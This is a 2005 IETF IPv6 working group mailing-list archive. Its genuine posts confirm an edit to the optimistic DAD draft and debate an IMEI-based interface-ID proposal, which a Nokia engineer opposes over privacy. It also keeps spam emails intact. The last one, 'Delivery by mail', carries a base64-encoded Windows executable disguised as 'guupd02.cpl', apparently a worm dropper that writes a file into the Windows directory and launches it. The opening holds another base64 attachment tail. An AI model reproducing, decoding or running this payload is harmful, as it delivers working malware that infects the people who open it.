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 ----------korcchhrlifwcfxopsqa Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- ----------korcchhrlifwcfxopsqa-- From ipv6-bounces@ietf.org Tue Feb 8 18:05:18 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13372 for ; Tue, 8 Feb 2005 18:05:17 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cyejk-0006dI-9R for ipv6-web-archive@ietf.org; Tue, 08 Feb 2005 18:25:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cye4H-0002av-5z; Tue, 08 Feb 2005 17:42:49 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cydii-0005fy-5b for ipv6@megatron.ietf.org; Tue, 08 Feb 2005 17:20:36 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07098 for ; Tue, 8 Feb 2005 17:20:28 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cye2K-0004jF-FW for ipv6@ietf.org; Tue, 08 Feb 2005 17:40:51 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:90a7:5411:7df9:e6f0]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 762561523A; Wed, 9 Feb 2005 07:20:06 +0900 (JST) Date: Wed, 09 Feb 2005 07:20:36 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Nick 'Sharkey' Moore" In-Reply-To: <20050207082834.GB12251@zoic.org> References: <24382B78-6024-11D9-856F-000D93330CAA@innovationslab.net> <4A05FBE6-6BC8-11D9-955E-000D93330CAA@innovationslab.net> <20050207082834.GB12251@zoic.org> User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: 68c8cc8a64a9d0402e43b8eee9fc4199 Cc: Brian Haberman , IPv6 WG Subject: Re: draft-ietf-ipv6-optimistic-dad-04.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f >>>>> On Mon, 7 Feb 2005 19:28:34 +1100, >>>>> "Nick 'Sharkey' Moore" said: > I've updated the draft In response to some last-minute editorial > comments from Jinmei Tatuya and Pekka Savola, thanks Jinmei and Pekka. (This is pretty obvious but just in case) I've confirmed the change. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 9 07:56:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA25740 for ; Wed, 9 Feb 2005 07:56:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cyria-0006FW-5z for ipv6-web-archive@ietf.org; Wed, 09 Feb 2005 08:17:21 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyrMV-0006zX-Gq; Wed, 09 Feb 2005 07:54:31 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyrKb-0002YL-NW for ipv6@megatron.ietf.org; Wed, 09 Feb 2005 07:52:33 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA25574 for ; Wed, 9 Feb 2005 07:52:32 -0500 (EST) Received: from laposte.rennes.enst-bretagne.fr ([192.44.77.17]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyreO-0006B2-A1 for ipv6@ietf.org; Wed, 09 Feb 2005 08:13:01 -0500 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by laposte.rennes.enst-bretagne.fr (8.11.6p2/8.11.6/2003.04.01) with ESMTP id j19Cpop04482; Wed, 9 Feb 2005 13:51:50 +0100 Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.13.1/8.13.1) with ESMTP id j19CpoFo033650; Wed, 9 Feb 2005 13:51:50 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200502091251.j19CpoFo033650@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Brian Haberman In-reply-to: Your message of Tue, 08 Feb 2005 10:18:58 EST. <44fe6a66a3abaf05a4c1be2a9de06eb4@innovationslab.net> Date: Wed, 09 Feb 2005 13:51:50 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr X-Spam-Score: 0.0 (/) X-Scan-Signature: 68c8cc8a64a9d0402e43b8eee9fc4199 Cc: Bob Hinden , IPv6 WG Subject: Re: Agenda items for Minneapolis X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f In your previous mail you wrote: The chairs are in the process of formulating the agenda for the IPv6 WG session in Minneapolis. Please let us know if there are topics you wish to present. => if someone from 3GPP/3GPP2 supports this, I can present the IMEI/MEID for interface ID draft (draft-dupont-ipv6-imei-08.txt). Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 9 08:36:11 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA01222 for ; Wed, 9 Feb 2005 08:36:11 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CysKf-0007Dw-Jr for ipv6-web-archive@ietf.org; Wed, 09 Feb 2005 08:56:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyrzK-0001Tv-1h; Wed, 09 Feb 2005 08:34:38 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cyruw-00005i-Ja for ipv6@megatron.ietf.org; Wed, 09 Feb 2005 08:30:06 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00757 for ; Wed, 9 Feb 2005 08:30:05 -0500 (EST) Received: from mgw-x3.nokia.com ([131.228.20.26]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CysEj-00073k-Mt for ipv6@ietf.org; Wed, 09 Feb 2005 08:50:35 -0500 Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120]) by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j19DU1v23055; Wed, 9 Feb 2005 15:30:02 +0200 (EET) X-Scanned: Wed, 9 Feb 2005 15:37:22 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks001.ntc.nokia.com (8.12.9/8.12.9) id j19DbMlf015386; Wed, 9 Feb 2005 15:37:22 +0200 Received: from mgw-int1.ntc.nokia.com (172.21.143.96) by esdks001.ntc.nokia.com 00BZBJaC; Wed, 09 Feb 2005 15:37:20 EET Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84]) by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j19DPVM03747; Wed, 9 Feb 2005 15:25:31 +0200 (EET) Received: from esebe003.NOE.Nokia.com ([172.21.138.39]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Wed, 9 Feb 2005 15:15:11 +0200 Received: from esebe100.NOE.Nokia.com ([172.21.138.118]) by esebe003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Wed, 9 Feb 2005 15:15:11 +0200 Received: from 172.21.224.112 ([172.21.224.112]) by esebe100.NOE.Nokia.com ([172.21.138.118]) with Microsoft Exchange Server HTTP-DAV ; Wed, 9 Feb 2005 13:15:03 +0000 Received: from essat-vlan154-2-224112.ntc.nokia.com by ESEBE100.noe.nokia.com; 09 Feb 2005 15:15:09 +0200 From: "Soininen Jonne (Nokia-NET/Helsinki)" To: ext Francis Dupont In-Reply-To: <200502091251.j19CpoFo033650@givry.rennes.enst-bretagne.fr> References: <200502091251.j19CpoFo033650@givry.rennes.enst-bretagne.fr> Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1107954908.13722.5.camel@essat-vlan154-2-224112.ntc.nokia.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 09 Feb 2005 15:15:09 +0200 X-OriginalArrivalTime: 09 Feb 2005 13:15:11.0594 (UTC) FILETIME=[62923CA0:01C50EA9] X-Spam-Score: 0.0 (/) X-Scan-Signature: a7d6aff76b15f3f56fcb94490e1052e4 Content-Transfer-Encoding: 7bit Cc: IPv6 WG , Brian Haberman , Bob Hinden Subject: Re: Agenda items for Minneapolis X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 769a46790fb42fbb0b0cc700c82f7081 Content-Transfer-Encoding: 7bit Francis, we have discussed this already in the past. Using the IMEI to construct the IPv6 IID is neither necessary nor recommended/wanted by the 3GPP/3GPP2 communities. 3GPP and 3GPP2 phones and networks use different mechanism to determine the IID. If they have multiple interfaces including for instance WLAN, again they can the EUI numbers on those for the IID generation. As IMEI can identify the phone (it is the phone's serial number) it can be even seen as a privacy problem. So, at least, I do _not_ support this item. Cheers, Jonne. On Wed, 2005-02-09 at 14:51, ext Francis Dupont wrote: > In your previous mail you wrote: > > The chairs are in the process of formulating the agenda for > the IPv6 WG session in Minneapolis. Please let us know if there > are topics you wish to present. > > => if someone from 3GPP/3GPP2 supports this, I can present the IMEI/MEID > for interface ID draft (draft-dupont-ipv6-imei-08.txt). > > Regards > > Francis.Dupont@enst-bretagne.fr > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- -- Jonne Soininen Nokia Tel: +358 40 527 46 34 E-mail: jonne.soininen@nokia.com -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 10 02:27:21 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA01507 for ; Thu, 10 Feb 2005 02:27:21 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cz93P-0003tJ-K1 for ipv6-web-archive@ietf.org; Thu, 10 Feb 2005 02:48:01 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cz8hO-000237-45; Thu, 10 Feb 2005 02:25:14 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cz8ft-000159-GO for ipv6@megatron.ietf.org; Thu, 10 Feb 2005 02:23:42 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA01149 for ; Thu, 10 Feb 2005 02:23:40 -0500 (EST) Received: from 200-138-058-154.toobm202.dial.brasiltelecom.net.br ([200.138.58.154] helo=marfim-pfvqe5p9.net) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1Cz8zV-0003oV-C9 for ipv6@ietf.org; Thu, 10 Feb 2005 02:44:19 -0500 Date: Thu, 10 Feb 2005 05:22:53 -0300 To: "Ipv" From: "Margaret" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------fwepxjqdaktsvxruspmr" X-Spam-Score: 3.3 (+++) X-Scan-Signature: 6e8a3b85ef670172081194f0b0f68e6f Subject: Delivery by mail X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: 8de8c36679aaa17b008853e74231c885 ----------fwepxjqdaktsvxruspmr Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Before use read the help
----------fwepxjqdaktsvxruspmr Content-Type: application/octet-stream; name="guupd02.cpl" Content-Disposition: attachment; filename="guupd02.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAL9+AAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAC/TgAAADAAAL9OAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 